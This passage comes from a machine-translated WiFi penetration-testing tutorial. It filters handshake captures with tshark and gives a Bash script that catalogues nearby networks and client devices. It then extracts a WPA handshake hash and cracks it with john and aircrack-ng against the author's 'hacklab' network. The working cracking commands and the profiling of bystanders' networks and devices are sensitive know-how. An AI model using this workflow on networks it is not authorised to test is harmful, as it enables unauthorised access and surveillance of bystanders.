  115 8.272449 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=........, BI=100, SSID=hacklab
```

Another good practice and advice is to get used to doing these leaks indicating the BSSID of the target network, thus avoiding confusion and filtering packets that do not correspond.

For this case, since we know that the MAC address of the AP is **20:34:fb:b1:c5:53** (we can see it from Pyrit), a good practice would be to do the following:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-02.cap -Y "(wlan.fc.type_subtype==0x08 || wlan.fc.type_subtype==0x05 || eapol) && wlan.addr==20:34:fb :b1:c5:53"
2>/dev/null
    1 0.000000 XiaomiCo_b1:c5:53 → Broadcast 802.11 239 Beacon frame, SN=1893, FN=0, Flags=........, BI=100, SSID=hacklab
    3 0.374849 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2287, FN=0, Flags=........, BI=100, SSID=hacklab
    5 0.586817 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
    6 0.590400 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
    7 0.594497 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
    8 0.596543 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=....R..., BI=100, SSID=hacklab
    9 0.600640 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
   10 0.602688 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=....R..., BI=100, SSID=hacklab
   11 0.605759 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=....R..., BI=100, SSID=hacklab
   12 0.610367 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
   13 4.188928 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 229 Probe Response, SN=1935, FN=0, Flags=........, BI=100, SSID=hacklab
   34 7.903744 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 133 Key (Message 1 of 4)
   36 7.907316 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 155 Key (Message 2 of 4)
   40 7.912448 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 189 Key (Message 3 of 4)
   42 7.914483 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 133 Key (Message 4 of 4)
  112 8.252481 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=........, BI=100, SSID=hacklab
  113 8.259649 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=........, BI=100, SSID=hacklab
  114 8.261696 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=....R..., BI=100, SSID=hacklab
  115 8.272449 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=........, BI=100, SSID=hacklab
```

Finally, and so you don't get scared, look at how curious:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-02.cap -Y "(wlan.fc.type_subtype==0x08 || wlan.fc.type_subtype==0x05 || eapol) && wlan.addr==20:34:fb :b1:c5:53"
-w filteredCapture 2>/dev/null
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  aircrack -ng filteredCapture
Opening filteredCapture wait...
Unsupported file format (not a pcap or IVs file).
Read 0 packets.
No networks found, exiting.
Quitting aircrack-ng...
```

The aircrack-ng suite should be able to distinguish the access point and the captured Handshake, we have seen that **Pyrit** detects it without problems, why not aircrack? The answer is simple. When exporting the capture from **tshark** , if we want **aircrack** to interpret it for us, we must specify the **pcap** format in the export mode for the capture , as follows:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-02.cap -R "(wlan.fc.type_subtype==0x08 || wlan.fc.type_subtype==0x05 || eapol) && wlan.addr==20:34:fb :b1:c5:53"
-2 -w filteredCapture -F pcap 2>/dev/null
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  aircrack -ng filteredCapture
Opening filteredCapture wait...
Read 19 packets. #     BSSID ESSID Encryption
   1 20:34:FB:B1:C5:53 WPA hacklab (1 handshake)
Choosing first network as target.
Opening filteredCapture wait...
Read 19 packets.
1 potential targets
```

Note that I have used the ' **-R** ' parameter instead of ' **-Y** ' because I am using the ' **-2** ' parameter, with the aim of making a double pass during the analysis phase. This option is even better, since the annotations are collected. The use of the ' **-R** ' parameter requires that we add the ' **-2** ' parameter.

I leave you here a small clarification of the usefulness of these parameters: Interest

Parser for neighborhood networks

So far we've been parsing specific networks, but haven't you stopped to think that we could do this too?:

- airodump -ng wlan0mon -w Capture

That is, capture all the traffic of all the networks available in the environment in a file. Why would we want to do this? Well, from **airodump-ng** , at the moment of scanning the environment networks, we see everything clear, well represented, however, once the evidences are exported to the specified file, and the way of representing the data are not the same.

Therefore, I share the following Bash script:

```
#! /bin/bash if [[ " $1 " && -f " $1 " ]] ; then
   FILE= " $1 " else echo -e ' \nSpecify the .csv file to analyze\n ' ; echo ' Usage: ' ; echo -e "
\t./parser.sh Capture-01.csv\n " ; exit fi test -f oui.txt 2> /dev/null if [ " $( echo $? ) " == " 0 " ] ;
 then echo -e " \n\033[1mTotal number of access points: \033[0;31m ` grep -E ' ([A-Za-z0-9._: @\(\)\\=\[\ {\}\"%;-]+,){14} '
$FILE | wc -l ` \e[0m " echo -e " \033[1mTotal number of stations: \033[0;31m ` grep -E ' ([A-Za-z0-9._: @\(\)\ \=\[\
{\}\"%;-]+,){5} ([A-Z0-9:]{17})|(not associated) ' $ FILE | wc -l ` \e[0m " echo -e " \033[1mTotal number of unassociated
stations: \033[0;31m ` grep -E ' (not associated) ' $FILE | wc -l ` \e[0m " echo -e " \n\033[0;36m\033[1mAvailable
access points:\e[0m\n " while read -r line ; do if [ " ` echo " $line " | cut -d ' , ' -f 14 ` " !=
 " " ] ; then echo -e " \033[1m " ` echo -e " $line " | cut -d ' , ' -f 14 ` " \e[0m " else
 echo -e " \e[3mCannot get network name (ESSID)\e[0m " fi
       fullMAC= ` echo " $line " | cut -d ' , ' -f 1 ` echo -e " \tMAC address: $fullMAC "
       MAC= ` echo " $fullMAC " | sed ' s/ //g ' | sed ' s/-//g ' | sed ' s/://g ' | cut -c1-6 `
       result= " $( grep -i -A 1 ^ $MAC ./oui.txt ) " ; if [ " $result " ] ; then echo -e " \tVendor: ` echo
  " $result " | cut -f 3 ` " else echo -e " \tVendor: \e[3mInformation not found in database\e[0m " fi
       is5ghz= ` echo " $line " | cut -d ' , ' -f 4 | grep -i -E '
36|40|44|48|52|56|60|64|100|104|108|112|116|120|124|128|132|136|140 ' ` if [ " $is5ghz " ] ; then echo -e " \t\033[0;31m
Operates on 5 GHz!\e[0m " fi
       printonce= " \tStations: " while read -r line2 ; do
           clientsMAC= ` echo $line2 | grep -E " $fullMAC " ` if [ " $clientsMAC " ] ; then if [ "
 $printonce " ] ; then echo -e $printonce
                 printonce= ' ' fi echo -e " \t\t\033[0;32m " ` echo $clientsMAC | cut -d ' , ' -f 1 ` "
\e[0m "
              MAC2= ` echo " $clientsMAC " | sed ' s/ //g ' | sed ' s/-//g ' | sed ' s/://g ' | cut
-c1-6 `
              result2= " $( grep -i -A 1 ^ $MAC2 ./oui.txt ) " ; if [ " $result2 " ] ; then echo -e "
\t\t\tVendor: ` echo " $result2 " | cut -f 3 ` "
                 ismobile= ` echo $result2 | grep -i -E '
Olivetti|Sony|Mobile|Apple|Samsung|HUAWEI|Motorola|TCT|LG|Ragentek|Lenovo|Shenzhen|Intel|Xiaomi|zte ' ` warning =
                 ` echo $ result2 | grep -i -E ' ALPHA|Intel ' ` if [ " $ismobile " ] ; then echo -e "
\t\t\t\033[0;33mThis is probably a mobile device\e[0m " fi if [ " $ warning " ] ; then echo -e "
\t\t\t\033[0;31;5;7mDevice supports monitor mode\e[0m " fi else echo -e " \t\t\tVendor: \e[3mInformation not found in database\e[0m
 " fi
              probe= ` echo $line2 | cut -d ' , ' -f 7 ` if [ " ` echo $probed | grep -E [A-Za-z0-9_ \\ -]+
` " ] ; then echo -e " \t\t\tNetworks the device has been associated with: $probed " fi fi done < <( grep -E '
 ([A-Za-z0-9._: @\(\) \\=\[\{\}\"%;-]+,){5} ([A-Z0-9:]{17})|(not associated) ' $FILE ) done < <( grep -E ' ([A-Za-z0-9._:
@\(\)\\=\[\{\}\"%;-]+,){14} ' $ FILE ) echo -e " \n\033[0;36m\033[1mUnassociated stations:\e[0m\n " while read -r line2 ;
  do
       clientsMAC= ` echo $line2 | cut -d ' , ' -f 1 ` echo -e " \033[0;31m " ` echo $clientsMAC | cut -d
  ' , ' -f 1 ` " \e[0m "
       MAC2= ` echo " $clientsMAC " | sed ' s/ //g ' | sed ' s/-//g ' | sed ' s/://g ' | cut -c1-6
 `
       result2= " $( grep -i -A 1 ^ $MAC2 ./oui.txt ) " ; if [ " $result2 " ] ; then echo -e " \tVendor: `
echo " $result2 " | cut -f 3 ` "
           ismobile= ` echo $result2 | grep -i -E '
Olivetti|Sony|Mobile|Apple|Samsung|HUAWEI|Motorola|TCT|LG|Ragentek|Lenovo|Shenzhen|Intel|Xiaomi|zte ' ` warning =
           ` echo $ result2 | grep -i -E ' ALPHA|Intel ' ` if [ " $imobile " ] ; then echo -e "
\t\033[0;33mThis is probably a mobile device\e[0m " fi if [ " $warning " ] ; then echo -e " \t\033[ 0;31;5;7mDevice
supports monitor mode\e[0m " fi else echo -e " \tVendor: \e[3mInformation not found in database\e[0m " fi
       probe= ` echo $line2 | cut -d ' , ' -f 7 ` if [ " ` echo $probed | grep -E [A-Za-z0-9_ \\ -]+ ` "
] ; then echo -e " \tNetworks the device has been associated with: $probed " fi          done < <( grep -E ' (not
associated) ' $FILE ) else echo -e " \n[!] File oui.txt not found, download it from here: http://standards-oui.ieee.org/oui
/oui.txt\n " fi
```

Taking advantage of the '.csv' file automatically generated after running **airodump** on the target network, we can make use of this parser to represent all the information of the captured data.

Running the script is quite simple:

```
 ┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop]
 └──╼ # ./file.sh
Specifies the .csv file to parse
Use:
  ./parser.sh Capture-01.csv
┌─[root@parrot]─[/home/s4vitar/Desktop]
```

```
└──╼ #  ./file.sh capture-01.csv
[ ! ] oui.txt file not found, download it from here: http://standards-oui.ieee.org/oui/oui.txt
```

As we can see, the first time we run it, if we don't have the 'oui.txt' file, a small warning is generated to let us know that we need to download it to run the script, otherwise the data will not be well represented. .

Therefore:

- wget http://standards-oui.ieee.org/oui/oui.txt

Once done, we can now execute the script, obtaining the following results:

```
┌─[root@parrot]─[/home/s4vitar/Desktop]
└──╼ #  ./file.sh capture-01.csv
Total number of access points: 43
Total number of stations: 5
Total number of unassociated stations: 5
Access points available:
 guests
  MAC address: 4C:96:14:2C:42:82
  Vendor: Juniper Networks
 MiFibra-CECC
  MAC address: 44:FE:3B:FE:CE:CE
  Vendor: Arcadyan Corporation
 WIFI_EXT
  MAC address: 4C:96:14:2C:42:86
  Vendor: Juniper Networks
 MOVISTAR_A908
  MAC address: FC:B4:E6:99:A9:09
  Vendor: ASKEY COMPUTER CORP.
 Unable to get network name (ESSID)
  MAC address: 00:9A:CD:E7:C0:24
  Vendor: HUAWEI TECHNOLOGIES CO.,LTD
 MiFibra-91BD
  MAC address: 70:4F:57:9F:9A:8B
  Vendor: TP-LINK TECHNOLOGIES CO.,LTD.
 Internal
  MAC address: 4C:96:14:2C:42:80
  Vendor: Juniper Networks
 MOVISTAR_171B
  MAC address: 78:29:ED:9D:17:1C
  Vendor: ASKEY COMPUTER CORP.
 JAZZTEL_1301.
  MAC address: 00:B6:B7:36:06:0C
  Vendor: Information not found in the database
 WIFI_EXT2
  MAC address: 44:48:C1:F1:97:03
  Vendor: Hewlett Packard Enterprise
 Internal
  MAC address: 4C:96:14:2C:47:40
  Vendor: Juniper Networks
  Seasons:
     4C:96:14:2C:47:40
      Vendor: Juniper Networks
      Networks to which the device has been associated: MAPFRE
 iMobile
  MAC address: 4C:96:14:27:B9:84
  Vendor: Juniper Networks
 MOVISTAR_9E71
  MAC address: 94:91:7F:0E:9E:72
  Vendor: ASKEY COMPUTER CORP.
 MiFibra-7BB4
  MAC address: 94:6A:B0:60:7B:B6
  Vendor: Arcadyan Corporation
 MOVISTAR_D8C1
  MAC address: 1C:B0:44:50:D8:C2
  Vendor: ASKEY COMPUTER CORP.
 MiFibra-226A
  MAC Address: 94:6A:B0:9B:22:6C
  Vendor: Arcadyan Corporation
 MOVISTAR_4DE8
  MAC address: 78:29:ED:22:4D:E9
  Vendor: ASKEY COMPUTER CORP.
 Internal
  MAC address: 4C:96:14:27:B9:80
  Vendor: Juniper Networks
 WIFI_EXT
  MAC address: 4C:96:14:27:B9:86
  Vendor: Juniper Networks
 guests
```

```
  MAC address: A8:D0:E5:C1:C9:42
  Vendor: Juniper Networks
 iMobile
  MAC address: A8:D0:E5:C1:C9:44
  Vendor: Juniper Networks
 guests
  MAC address: 4C:96:14:27:B9:82
  Vendor: Juniper Networks
 WIFI_EXT
  MAC address: 4C:96:14:2C:47:46
  Vendor: Juniper Networks
 Internal
  MAC address: A8:D0:E5:C1:C9:40
  Vendor: Juniper Networks
 vodafone18AC
  MAC address: 24:DF:6A:10:18:B4
  Vendor: HUAWEI TECHNOLOGIES CO.,LTD
 MOVISTAR_3126
  MAC address: CC:D4:A1:0C:31:28
  Vendor: MitraStar Technology Corp.
 WIFI_EXT
  MAC address: A8:D0:E5:C1:C9:46
  Vendor: Juniper Networks
 Orange-A238
  MAC address: 50:7E:5D:2F:A2:3A
  Vendor: Arcadyan Technology Corporation
 MOVISTAR_1083
  MAC address: F8:8E:85:43:10:84
  Vendor: Comtrend Corporation
 MIWIFI_2G_2Xhs
  MAC address: E4:CA:12:96:21:FE
  Vendor: zte corporation
 Internal2
  MAC address: 44:48:C1:F1:96:A0
  Vendor: Hewlett Packard Enterprise
 WLAN_4A4C
  MAC address: 00:1A:2B:AC:0B:CF
  Vendor: Ayecom Technology Co., Ltd.
 iMovil2
  MAC address: 44:48:C1:F1:96:A4
  Vendor: Hewlett Packard Enterprise
 MOVISTAR_2F95
  MAC address: E8:D1:1B:21:2F:96
  Vendor: ASKEY COMPUTER CORP.
 MOVISTAR_5A18
  MAC address: A4:2B:B0:FB:90:D1
  Vendor: TP-LINK TECHNOLOGIES CO.,LTD.
 WIFI_EXT2
  MAC address: 44:48:C1:F1:96:A3
  Vendor: Hewlett Packard Enterprise
 Unable to get network name (ESSID)
  MAC address: 44:48:C1:F1:96:A1
  Vendor: Hewlett Packard Enterprise
 VILLACRISIS
  MAC address: 84:16:F9:5B:45:B8
  Vendor: TP-LINK TECHNOLOGIES CO.,LTD.
 Unable to get network name (ESSID)
  MAC address: 44:48:C1:F1:96:A2
  Vendor: Hewlett Packard Enterprise
 MOVISTAR_4C30
  MAC address: E2:41:36:08:4C:30
  Vendor: Information not found in the database
 TP-LINK_79D4
  MAC address: D4:6E:0E:F8:79:D4
  Vendor: TP-LINK TECHNOLOGIES CO.,LTD.
 MOVISTAR_1677
  MAC address: 1C:B0:44:D4:16:78
  Vendor: ASKEY COMPUTER CORP.
 Unable to get network name (ESSID)
  MAC address: 4C:1B:86:02:54:EA
  Vendor: Arcadyan Corporation
Non-associated stations:
 34:12:F9:77:49:5E
  Vendor: HUAWEI TECHNOLOGIES CO.,LTD
  It is probably a mobile device
  Networks the device has been associated with: BUY & RECYCLE
 00:24:2B:BC:4E:57
  Vendor: Hon Hai Precision Ind. Co.,Ltd.
  Networks to which the device has been associated: MAPFRE
 10:44:00:9C:76:66
  Vendor: HUAWEI TECHNOLOGIES CO.,LTD
  It is probably a mobile device
 4C:96:14:2C:47:40
  Vendor: Juniper Networks
  Networks to which the device has been associated: MAPFRE
 AC:D1:B8:17:91:C0
  Vendor: Hon Hai Precision Ind. Co.,Ltd.
```

What a beauty! It is quite useful even to view the Probe Request packets , contemplating the networks to which the client has been connected in the past, thus being able to subsequently carry out an **Evil Twin** attack , which we will see later.

Analysis of network packets with tshark

So far we have been looking at various filter modes with **tshark** but without devoting a specific section to filter modes. Next, we are going to see different filtering modes, useful for the analysis of packets and captures:

- Probe Request Packages

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -i wlan0mon -Y "wlan.fc.type_subtype==4" 2>/dev/null
 175 22.140053472 JuniperN_2c:47:40 → Broadcast 802.11 178 Probe Request, SN=2376, FN=0, Flags=........C, SSID=WLAN_C311
 185 26.153075819 Apple_ed:e2:63 → Broadcast 802.11 214 Probe Request, SN=1959, FN=0, Flags=........C, SSID=Wlan1
 186 26.234864238 Apple_ed:e2:63 → Broadcast 802.11 214 Probe Request, SN=1963, FN=0, Flags=........C, SSID=Wlan1
 187 26.245021241 Apple_ed:e2:63 → Broadcast 802.11 214 Probe Request, SN=1964, FN=0, Flags=........C, SSID=Wlan1
 188 26.257907684 Apple_ed:e2:63 → Broadcast 802.11 214 Probe Request, SN=1965, FN=0, Flags=........C, SSID=Wlan1
 189 26.268055504 Apple_ed:e2:63 → Broadcast 802.11 214 Probe Request, SN=1966, FN=0, Flags=........C, SSID=Wlan1
```

- Probe Response Packages

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-01.cap -Y "wlan.fc.type_subtype==5" 2>/dev/null
   2 1.617473 XiaomiCo_b1:c5:53 → 32:7d:a9:4f:21:99 802.11 229 Probe Response, SN=1872, FN=0, Flags=........, BI=100, SSID=hacklab
   5 1.628735 XiaomiCo_b1:c5:53 → 32:7d:a9:4f:21:99 802.11 229 Probe Response, SN=1874, FN=0, Flags=........, BI=100, SSID=hacklab
  10 3.698368 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 210 Probe Response, SN=2340, FN=0, Flags=........, BI=100, SSID=hacklab
  12 3.701951 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 210 Probe Response, SN=2341, FN=0, Flags=........, BI=100, SSID=hacklab
  14 3.756735 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 210 Probe Response, SN=2342, FN=0, Flags=........, BI=100, SSID=hacklab
  16 3.759295 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 210 Probe Response, SN=2343, FN=0, Flags=........, BI=100, SSID=hacklab
```

- Association Request Packages

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-01.cap -Y "wlan.fc.type_subtype==0" 2>/dev/null
  22 5.041479 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 802.11 122 Association Request, SN =227, FN=0, Flags=........, SSID=hacklab
```

- Association Response Packages

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-01.cap -Y "wlan.fc.type_subtype==1" 2>/dev/null
  24 5.049663 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 127 Association Response, SN =2346, FN=0, Flags=........
```

- Beacon Packets

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-01.cap -Y "wlan.fc.type_subtype==8" 2>/dev/null
   1 0.000000 XiaomiCo_b1:c5:53 → Broadcast 802.11 239 Beacon frame, SN=1855, FN =0, Flags=........, BI=100, SSID=hacklab
```

- Authentication package

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-01.cap -Y "wlan.fc.type_subtype==11" 2>/dev/null
  18 5.033280 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 802.11 30 Authentication, SN=226, FN=0, Flags=........
  20 5.035840 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 30 Authentication, SN=2344, FN=0, Flags=........
```

- Deauthentication packets

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -i wlan0mon -Y "wlan.fc.type_subtype==12" 2>/dev/null
 200 39.994017471 AskeyCom_d4:16:78 → Broadcast 802.11 38 Deauthentication, SN=0, FN=0, Flags=........
 201 39.994777432 AskeyCom_d4:16:78 → Broadcast 802.11 39 Deauthentication, SN=0, FN=0, Flags=........
 202 39.996199413 Broadcast → AskeyCom_d4:16:78 802.11 38 Deauthentication, SN=1, FN=0, Flags=........
 203 39.996798243 Broadcast → AskeyCom_d4:16:78 802.11 39 Deauthentication, SN=1, FN=0, Flags=........
 205 39.999554640 AskeyCom_d4:16:78 → Broadcast 802.11 38 Deauthentication, SN=2, FN=0, Flags=........
 206 40.000174666 AskeyCom_d4:16:78 → Broadcast 802.11 39 Deauthentication, SN=2, FN=0, Flags=........
```

- Disassociation Packages

```
tshark -i wlan0mon -Y  "  wlan.fc.type_subtype==10  "   2>  /dev/null  #  For this case I couldn't catch any hehe
```

- Clear To Send (CTS) packets

```
┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -i wlan0mon -Y "wlan.fc.type_subtype==28" 2>/dev/null
```

```
 183 11.333769733 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
 186 11.334796342 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
 189 11.336432358 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
 192 11.339134653 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
 196 11.352502740 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
 199 11.357122880 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
 204 11.362841524 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
 222 11.418923972 → AskeyCom_d4:16:78 (1c:b0:44:d4:16:78) (RA) 802.11 70 Clear-to-send, Flags=........C
 224 11.419977797 → AskeyCom_d4:16:78 (1c:b0:44:d4:16:78) (RA) 802.11 70 Clear-to-send, Flags=........C
 226 11.427114234 → AskeyCom_d4:16:78 (1c:b0:44:d4:16:78) (RA) 802.11 70 Clear-to-send, Flags=........C
 230 11.427645439 → AskeyCom_d4:16:78 (1c:b0:44:d4:16:78) (RA) 802.11 70 Clear-to-send, Flags=........C
 235 11.430118052 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
 240 11.434558344 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
 243 11.435567660 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
 246 11.441881524 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
```

- ACK packets

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -i wlan0mon -Y "wlan.fc.type_subtype==29" 2>/dev/null
  44 2.532918866 → XiaomiCo_d0:51:c5 (a4:50:46:d0:51:c5) (RA) 802.11 70 Acknowledgment, Flags=........C
 213 4.870822127 → 72:4f:56:d5:f4:21 (72:4f:56:d5:f4:21) (RA) 802.11 70 Acknowledgment, Flags=........C
 214 4.872287210 → 72:4f:56:27:f7:f5 (72:4f:56:27:f7:f5) (RA) 802.11 70 Acknowledgment, Flags=........C
 215 4.873060680 → 72:4f:56:d5:f4:21 (72:4f:56:d5:f4:21) (RA) 802.11 70 Acknowledgment, Flags=........C
 231 5.792287268 → Pegatron_5b:42:f6 (38:60:77:5b:42:f6) (RA) 802.11 70 Acknowledgment, Flags=........C
 252 6.105136504 → Apple_24:f9:60 (70:14:a6:24:f9:60) (RA) 802.11 70 Acknowledgment, Flags=........C
 254 6.109740279 → HewlettP_f1:96:a3 (44:48:c1:f1:96:a3) (RA) 802.11 70 Acknowledgment, Flags=........C
 268 6.137270470 → Apple_24:f9:60 (70:14:a6:24:f9:60) (RA) 802.11 70 Acknowledgment, Flags=........C
 279 6.161518783 → Apple_24:f9:60 (70:14:a6:24:f9:60) (RA) 802.11 70 Acknowledgment, Flags=........C
 281 6.165512928 → Apple_24:f9:60 (70:14:a6:24:f9:60) (RA) 802.11 70 Acknowledgment, Flags=........C
```

Extraction of the Hash in the Handshake

Although it is not necessary, in case we want to know what we are working with, it is possible to extract the Hash corresponding to the capture where our Handshake is located.

What better than to see our Handshake represented in Hash format, so much so that we have talked about it to not pay a little more attention to it. Currently, **aircrack-ng** has the ' **-J** ' parameter, which is useful for generating a ' **.hccap** ' file.

Why do we want to generate an **HCCAP** file ? Because later, through the **hccap2john** tool , we can transform that file into a hash, just like we would do with **ssh2john** or another similar utility.

So here's a demo:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #ls  _
Capture-01.cap
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  aircrack-ng -J myCapture Capture-01.cap
Opening Capture-01.cape wait...
Read 5110 packets. #    BSSID ESSID Encryption
   1 20:34:FB:B1:C5:53 WPA hacklab (1 handshake)
Choosing first network as target.
Opening Capture-01.cape wait...
Read 5110 packets.
1 potential targets
Building Hashcat file...
[  *  ] ESSID (length: 7): hacklab
[  *  ] Key version: 2
[  *  ] BSSID: 20:34:FB:B1:C5:53
[  *  ] ST: 34:41:5D:46:D1:38
[  *  ] annce:
    FE AD BB C5 CA AC 3C 41 52 56 B1 44 5D 61 29 2A
    72 E1 7D 73 6A 5E 16 A5 15 88 E4 9E 58 42 EC 78
[  *  ] snonce:
    47 5D 5A 50 E4 2D 1D 18 F8 67 5B 0A B6 B1 FF 1F
    6A 85 82 EC 66 3E 92 2A F0 CC B2 05 F3 8B DE E0
[  *  ] Key MIC:
    0C 0E B7 91 69 C1 FE FD E5 D9 08 42 2E E4 A5 3C
[  *  ] eapol:
    01 03 00 75 02 01 0A 00 00 00 00 00 00 00 00 00
    01 47 5D 5A 50 E4 2D 1D 18 F8 67 5B 0A B6 B1 FF
    1F 6A 85 82 EC 66 3E 92 2A F0 CC B2 05 F3 8B DE
    E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 16 30 14 01 00 00 0F AC 04 01 00 00 0F AC
    04 01 00 00 0F AC 02 00 00
Successfully written to myCapture.hccap
```

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  ls
Capture-01.cap myCapture.hccap
```

Once done, we use **hccap2john** to display the hash:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  hccap2john myCapture.hccap > myHash
┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  cat !$
cat myHash
hacklab:  $WPAPSK$hacklab
#61HvgQJHB23RFh2sFppOICEh5FXsNpg8hf5z5qe3UilaDd6ewAmm/TC9ri1yfPj3mekwEJ7KgIFRMGYeQi3xQqdS3eIJWCGSK29gS.21.5I0.Ec.........../FppOICEh5FXsNpg8
 ...............................................3X.IE .1uk2.E..1uk2.E..1uk0...........................
................................................................ ................................................................
............................................/t.... .U....kCht3dkTvxtRY6EWvYdHk:34-41-5d-46-d1-38:20-34-fb-b1-c5-
53:2034fbb1c553::WPA2:myCapture.hccap
```

And that so beautiful that we see, is the Hash corresponding to the password of the WiFi network, which we could simply crack at this point using the **John** tool together with a dictionary.

Brute force with John

Having already reached this point, we proceed with the brute force attacks. Taking advantage of the previously seen point, since we have a Hash... it is easy to crack the password of the WiFi network using a dictionary through the **John** tool , as follows:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  john --wordlist=/usr/share/wordlists/rockyou.txt myHash --format=wpapsk
Using default input encoding: UTF-8
Loaded 1 password  hash  (wpapsk, WPA/WPA2/PMF/PMKID PSK [PBKDF2-SHA1 256/256 AVX2 8x])
No password hashes left to crack (see FAQ)
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  john --show --format=wpapsk myHash
hacklab:vampress1:34-41-5d-46-d1-38:20-34-fb-b1-c5-53:2034fbb1c553::WPA2:myCapture.hccap
1 password  hash  cracked, 0 left
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  echo "Password: $(john --show --format=wpapsk myHash | cut -d ':' -f 2)"
Password: vampress1
```

And there we would have the password of the wireless network, which in this case is **vampress1** .

Brute force with Aircrack

To crack our Handshake from the aircrack suite itself , we would only have to use this syntax:

- aircrack-ng -w dictionarypath Capture-01.cap

The brute force process would start and once obtained, the cracking phase would stop, showing the password as long as it is found in the specified dictionary:

```
                              aircrack-ng 1.5.2
      [00:00:43] 487370/9822769 keys tested (7440.27 k/s)
      Time left: 20 minutes, 54 seconds 4.96%
